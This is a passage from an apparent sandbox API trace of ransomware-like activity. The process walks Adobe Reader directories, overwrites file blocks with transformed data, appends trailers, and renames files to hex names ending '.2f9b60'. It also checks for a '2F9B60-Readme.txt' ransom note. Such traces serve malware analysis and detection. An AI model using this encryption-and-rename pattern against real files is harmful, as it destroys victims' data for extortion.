_Dest=0x1b858880, _Format="%c%c" | out: _Dest="30") returned 2 [0208.779] sprintf (in: _Dest=0x1b858882, _Format="%c%c" | out: _Dest="81") returned 2 [0208.779] sprintf (in: _Dest=0x1b858884, _Format="%c%c" | out: _Dest="a6") returned 2 [0208.779] sprintf (in: _Dest=0x1b858886, _Format="%c%c" | out: _Dest="2e") returned 2 [0208.779] sprintf (in: _Dest=0x1b858888, _Format="%c%c" | out: _Dest="93") returned 2 [0208.779] sprintf (in: _Dest=0x1b85888a, _Format="%c%c" | out: _Dest="23") returned 2 [0208.779] sprintf (in: _Dest=0x1b85888c, _Format="%c%c" | out: _Dest="b6") returned 2 [0208.779] sprintf (in: _Dest=0x1b85888e, _Format="%c%c" | out: _Dest="35") returned 2 [0208.779] sprintf (in: _Dest=0x1b858890, _Format="%c%c" | out: _Dest="51") returned 2 [0208.779] sprintf (in: _Dest=0x1b858892, _Format="%c%c" | out: _Dest="a6") returned 2 [0208.779] sprintf (in: _Dest=0x1b858894, _Format="%c%c" | out: _Dest="af") returned 2 [0208.779] sprintf (in: _Dest=0x1b858896, _Format="%c%c" | out: _Dest="63") returned 2 [0208.779] sprintf (in: _Dest=0x1b858898, _Format="%c%c" | out: _Dest="46") returned 2 [0208.779] sprintf (in: _Dest=0x1b85889a, _Format="%c%c" | out: _Dest="1a") returned 2 [0208.779] sprintf (in: _Dest=0x1b85889c, _Format="%c%c" | out: _Dest="3c") returned 2 [0208.779] sprintf (in: _Dest=0x1b85889e, _Format="%c%c" | out: _Dest="34") returned 2 [0208.779] RtlInitAnsiString (in: DestinationString=0x34b4fd08, SourceString="9734c6c1e5a585d61d834c2d50b5839830fe1acbebbbc34f3081a62e9323b63551a6af63461a3c34" | out: DestinationString="9734c6c1e5a585d61d834c2d50b5839830fe1acbebbbc34f3081a62e9323b63551a6af63461a3c34") [0208.779] RtlAnsiStringToUnicodeString (in: DestinationString=0x34b4fcd8, SourceString="9734c6c1e5a585d61d834c2d50b5839830fe1acbebbbc34f3081a62e9323b63551a6af63461a3c34", AllocateDestinationString=1 | out: DestinationString="9734c6c1e5a585d61d834c2d50b5839830fe1acbebbbc34f3081a62e9323b63551a6af63461a3c34") returned 0x0 [0208.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431a6d50 [0208.780] wcscat (in: _Dest=0x43183940, _Source="9734c6c1e5a585d61d83" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\9734c6c1e5a585d61d83") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\9734c6c1e5a585d61d83" [0208.780] wcscat (in: _Dest=0x43183940, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\9734c6c1e5a585d61d83.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\9734c6c1e5a585d61d83.2f9b60" [0208.780] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\9734c6c1e5a585d61d83.2f9b60", NtPathName=0x34b4fcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\9734c6c1e5a585d61d83.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x202783b0 [0218.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202783b0) returned 1 [0218.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a9020) returned 1 [0218.123] NtQueryInformationFile (in: FileHandle=0x1e48, IoStatusBlock=0x34b4fd18, FileInformation=0x34b4fd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x34b4fd18, FileInformation=0x34b4fd28) returned 0x0 [0218.123] NtSetInformationFile (FileHandle=0x1e48, IoStatusBlock=0x34b4fd18, FileInformation=0x34b4fd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0222.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43183940) returned 1 [0222.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a6d50) returned 1 [0222.201] FlushFileBuffers (hFile=0x1e48) returned 1 [0222.591] CloseHandle (hObject=0x1e48) returned 1 [0224.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202ae650 [0224.440] wcscpy (in: _Dest=0x202ae650, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0224.440] wcscat (in: _Dest=0x202ae650, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\2F9B60-Readme.txt" [0224.440] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\2f9b60-readme.txt")) returned 0x20 [0224.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae650) returned 1 [0224.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0970) returned 1 Thread: id = 2052 os_tid = 0x1310 [0137.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x42060c30 [0137.914] wcscpy (in: _Dest=0x42060c30, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0137.914] wcscat (in: _Dest=0x42060c30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0137.914] wcscat (in: _Dest=0x42060c30, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\*" [0137.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd60800 [0137.914] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\*", lpFindFileData=0x1cd60800 | out: lpFindFileData=0x1cd60800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5fe0 [0137.915] wcscmp (_String1=".", _String2=".") returned 0 [0137.915] FindNextFileW (in: hFindFile=0x1ced5fe0, lpFindFileData=0x1cd60800 | out: lpFindFileData=0x1cd60800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.915] wcscmp (_String1="..", _String2=".") returned 1 [0137.915] wcscmp (_String1="..", _String2="..") returned 0 [0137.915] FindNextFileW (in: hFindFile=0x1ced5fe0, lpFindFileData=0x1cd60800 | out: lpFindFileData=0x1cd60800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ec63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.api", cAlternateFileName="ACCESS~1.API")) returned 1 [0137.915] wcscmp (_String1="Accessibility.api", _String2=".") returned 1 [0137.915] wcscmp (_String1="Accessibility.api", _String2="..") returned 1 [0137.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x202b1d70 [0137.916] wcscpy (in: _Dest=0x202b1d70, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins" [0137.916] wcscat (in: _Dest=0x202b1d70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0137.916] wcscat (in: _Dest=0x202b1d70, _Source="Accessibility.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Accessibility.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Accessibility.api" [0151.699] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Accessibility.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\accessibility.api")) returned 0x20 [0151.700] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Accessibility.api", dwFileAttributes=0x20) returned 1 [0151.701] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Accessibility.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\accessibility.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x256c [0151.702] GetFileSizeEx (in: hFile=0x256c, lpFileSize=0x34bdfb20 | out: lpFileSize=0x34bdfb20*=519267) returned 1 [0151.702] SetFilePointerEx (in: hFile=0x256c, liDistanceToMove=0x7ec5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.702] ReadFile (in: hFile=0x256c, lpBuffer=0x34bdfaa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x34bdfae8, lpOverlapped=0x0 | out: lpBuffer=0x34bdfaa0*, lpNumberOfBytesRead=0x34bdfae8*=0x4, lpOverlapped=0x0) returned 1 [0151.715] SetFilePointerEx (in: hFile=0x256c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffdb0 [0151.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffde0 [0151.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffe10 [0151.716] NtQuerySystemTime (in: CurrentTime=0x34bdf9e0 | out: CurrentTime=0x34bdf9e0*=132462177569278000) returned 0x0 [0151.716] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x777ec0ae [0151.716] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x2b4d478e [0151.716] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x54cfc7ad [0151.716] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x5009d885 [0151.716] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x5db959a1 [0151.716] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x69294061 [0151.716] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0xdbada9d [0151.716] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x7bddb8f9 [0151.716] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x4017d15d [0151.716] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x3bd7ab66 [0151.716] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x38cc8977 [0151.716] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x3cf4f1ab [0151.716] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x23b5bfe1 [0151.716] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x23d79983 [0151.716] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x6af0d5c9 [0151.716] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x2601e102 [0151.716] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x78c9c84f [0151.717] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0xa32a5cb [0151.717] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x1b1978e3 [0151.717] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x5d63a821 [0151.717] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x63e25885 [0151.717] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x7799567 [0151.717] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0xb0a1aae [0151.717] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x2bf566e3 [0151.717] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x92e2960 [0151.717] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x9a4a807 [0151.717] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x1191d3c [0151.717] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x5fedf9e4 [0151.717] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x22fd2faa [0151.717] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x5dff28bb [0151.717] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x1e8f24d0 [0151.717] RtlRandomEx (in: Seed=0x34bdf9d0 | out: Seed=0x34bdf9d0) returned 0x4a68fe30 [0151.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffe40 [0151.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8697c0 [0151.726] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffe70 [0151.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8697c0) returned 1 [0151.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffe10) returned 1 [0151.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffdb0) returned 1 [0151.727] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42544d60 [0151.727] SetFilePointerEx (in: hFile=0x256c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.727] ReadFile (in: hFile=0x256c, lpBuffer=0x42544d60, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x34bdfa40, lpOverlapped=0x0 | out: lpBuffer=0x42544d60*, lpNumberOfBytesRead=0x34bdfa40*=0x3c00, lpOverlapped=0x0) returned 1 [0151.748] SetFilePointerEx (in: hFile=0x256c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420589c0 [0151.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0151.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffdb0 [0151.749] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffdb0) returned 1 [0151.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42550190 [0151.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffdb0 [0151.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffea0 [0151.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffea0) returned 1 [0151.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0151.750] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420589c0) returned 1 [0151.750] WriteFile (hFile=0x256c, lpBuffer=0x42550190, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x34bdfa40, lpOverlapped=0x0) [0186.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42550190) returned 1 [0186.268] SetFilePointerEx (in: hFile=0x256c, liDistanceToMove=0x3fc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.268] ReadFile (in: hFile=0x256c, lpBuffer=0x42544d60, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x34bdfa40, lpOverlapped=0x0 | out: lpBuffer=0x42544d60*, lpNumberOfBytesRead=0x34bdfa40*=0x3c00, lpOverlapped=0x0) returned 1 [0187.234] SetFilePointerEx (in: hFile=0x256c, liDistanceToMove=0x3fc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0187.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307b80 [0187.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0187.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0187.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201900b0 [0187.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0187.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbc60 [0187.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbc60) returned 1 [0187.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307b80) returned 1 [0187.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0187.237] WriteFile (in: hFile=0x256c, lpBuffer=0x201900b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x34bdfa40, lpOverlapped=0x0 | out: lpBuffer=0x201900b0*, lpNumberOfBytesWritten=0x34bdfa40*=0x3c00, lpOverlapped=0x0) returned 1 [0205.538] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201900b0) returned 1 [0205.538] SetFilePointerEx (in: hFile=0x256c, liDistanceToMove=0x7b063, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.538] ReadFile (in: hFile=0x256c, lpBuffer=0x42544d60, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x34bdfa40, lpOverlapped=0x0 | out: lpBuffer=0x42544d60*, lpNumberOfBytesRead=0x34bdfa40*=0x3c00, lpOverlapped=0x0) returned 1 [0205.539] SetFilePointerEx (in: hFile=0x256c, liDistanceToMove=0x7b063, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc800 [0205.541] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddc800) returned 1 [0205.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201900b0 [0205.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddc800 [0205.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9260 [0205.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9260) returned 1 [0205.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.543] WriteFile (in: hFile=0x256c, lpBuffer=0x201900b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x34bdfa40, lpOverlapped=0x0 | out: lpBuffer=0x201900b0*, lpNumberOfBytesWritten=0x34bdfa40*=0x3c00, lpOverlapped=0x0) returned 1 [0214.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201900b0) returned 1 [0214.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43105210 [0214.969] SetFilePointerEx (in: hFile=0x256c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.969] WriteFile (in: hFile=0x256c, lpBuffer=0x430bd0c0*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x34bdfaf0, lpOverlapped=0x0 | out: lpBuffer=0x430bd0c0*, lpNumberOfBytesWritten=0x34bdfaf0*=0x154, lpOverlapped=0x0) returned 1 [0218.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62870 [0218.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0218.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500680 [0218.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500680) returned 1 [0218.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20500680 [0218.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500650 [0218.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205005f0 [0218.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205005f0) returned 1 [0218.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0218.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62870) returned 1 [0218.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1ce62870 [0218.914] sprintf (in: _Dest=0x1ce62870, _Format="%c%c" | out: _Dest="ed") returned 2 [0218.914] sprintf (in: _Dest=0x1ce62872, _Format="%c%c" | out: _Dest="74") returned 2 [0218.914] sprintf (in: _Dest=0x1ce62874, _Format="%c%c" | out: _Dest="70") returned 2 [0218.914] sprintf (in: _Dest=0x1ce62876, _Format="%c%c" | out: _Dest="ed") returned 2 [0218.914] sprintf (in: _Dest=0x1ce62878, _Format="%c%c" | out: _Dest="30") returned 2 [0218.914] sprintf (in: _Dest=0x1ce6287a, _Format="%c%c" | out: _Dest="0c") returned 2 [0218.914] sprintf (in: _Dest=0x1ce6287c, _Format="%c%c" | out: _Dest="bd") returned 2 [0218.914] sprintf (in: _Dest=0x1ce6287e, _Format="%c%c" | out: _Dest="84") returned 2 [0218.914] sprintf (in: _Dest=0x1ce62880, _Format="%c%c" | out: _Dest="39") returned 2 [0218.914] sprintf (in: _Dest=0x1ce62882, _Format="%c%c" | out: _Dest="92") returned 2 [0218.914] sprintf (in: _Dest=0x1ce62884, _Format="%c%c" | out: _Dest="b7") returned 2 [0218.914] sprintf (in: _Dest=0x1ce62886, _Format="%c%c" | out: _Dest="5b") returned 2 [0218.914] sprintf (in: _Dest=0x1ce62888, _Format="%c%c" | out: _Dest="f5") returned 2 [0218.914] sprintf (in: _Dest=0x1ce6288a, _Format="%c%c" | out: _Dest="ac") returned 2 [0218.914] sprintf (in: _Dest=0x1ce6288c, _Format="%c%c" | out: _Dest="3b") returned 2 [0218.914] sprintf (in: _Dest=0x1ce6288e, _Format="%c%c" | out: _Dest="67") returned 2 [0218.914] sprintf (in: _Dest=0x1ce62890, _Format="%c%c" | out: _Dest="98") returned 2 [0218.914] sprintf (in: _Dest=0x1ce62892, _Format="%c%c" | out: _Dest="d6") returned 2 [0218.914] sprintf (in: _Dest=0x1ce62894, _Format="%c%c" | out: _Dest="f9") returned 2 [0218.914] sprintf (in: _Dest=0x1ce62896, _Format="%c%c" | out: _Dest="16") returned 2 [0218.914] sprintf (in: _Dest=0x1ce62898, _Format="%c%c" | out: _Dest="87") returned 2 [0218.914] sprintf (in: _Dest=0x1ce6289a, _Format="%c%c" | out: _Dest="13") returned 2 [0218.914] sprintf (in: _Dest=0x1ce6289c, _Format="%c%c" | out: _Dest="4d") returned 2 [0218.914] sprintf (in: _Dest=0x1ce6289e, _Format="%c%c" | out: _Dest="0c") returned 2 [0218.914] sprintf (in: _Dest=0x1ce628a0, _Format="%c%c" | out: _Dest="fa") returned 2 [0218.915] sprintf (in: _Dest=0x1ce628a2, _Format="%c%c" | out: _Dest="fd") returned 2 [0218.915] sprintf (in: _Dest=0x1ce628a4, _Format="%c%c" | out: _Dest="e7") returned 2 [0218.915] sprintf (in: _Dest=0x1ce628a6, _Format="%c%c" | out: _Dest="7d") returned 2 [0218.915] sprintf (in: _Dest=0x1ce628a8, _Format="%c%c" | out: _Dest="3a") returned 2 [0218.915] sprintf (in: _Dest=0x1ce628aa, _Format="%c%c" | out: _Dest="1b") returned 2 [0218.915] sprintf (in: _Dest=0x1ce628ac, _Format="%c%c" | out: _Dest="7e") returned 2 [0218.915] sprintf (in: _Dest=0x1ce628ae, _Format="%c%c" | out: _Dest="44") returned 2 [0218.915] sprintf (in: _Dest=0x1ce628b0, _Format="%c%c" | out: _Dest="7b") returned 2 [0218.915] sprintf (in: _Dest=0x1ce628b2, _Format="%c%c" | out: _Dest="08") returned 2 [0218.915] RtlInitAnsiString (in: DestinationString=0x34bdfb68, SourceString="ed7470ed300cbd843992b75bf5ac3b6798d6f91687134d0cfafde77d3a1b7e447b08" | out: DestinationString="ed7470ed300cbd843992b75bf5ac3b6798d6f91687134d0cfafde77d3a1b7e447b08") [0218.915] RtlAnsiStringToUnicodeString (in: DestinationString=0x34bdfb38, SourceString="ed7470ed300cbd843992b75bf5ac3b6798d6f91687134d0cfafde77d3a1b7e447b08", AllocateDestinationString=1 | out: DestinationString="ed7470ed300cbd843992b75bf5ac3b6798d6f91687134d0cfafde77d3a1b7e447b08") returned 0x0 [0218.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4318bf80 [0218.916] wcscat (in: _Dest=0x202ad550, _Source="ed7470ed300cbd843" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\ed7470ed300cbd843") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\ed7470ed300cbd843" [0218.916] wcscat (in: _Dest=0x202ad550, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\ed7470ed300cbd843.2f9b60") returned="C:\\Program Files 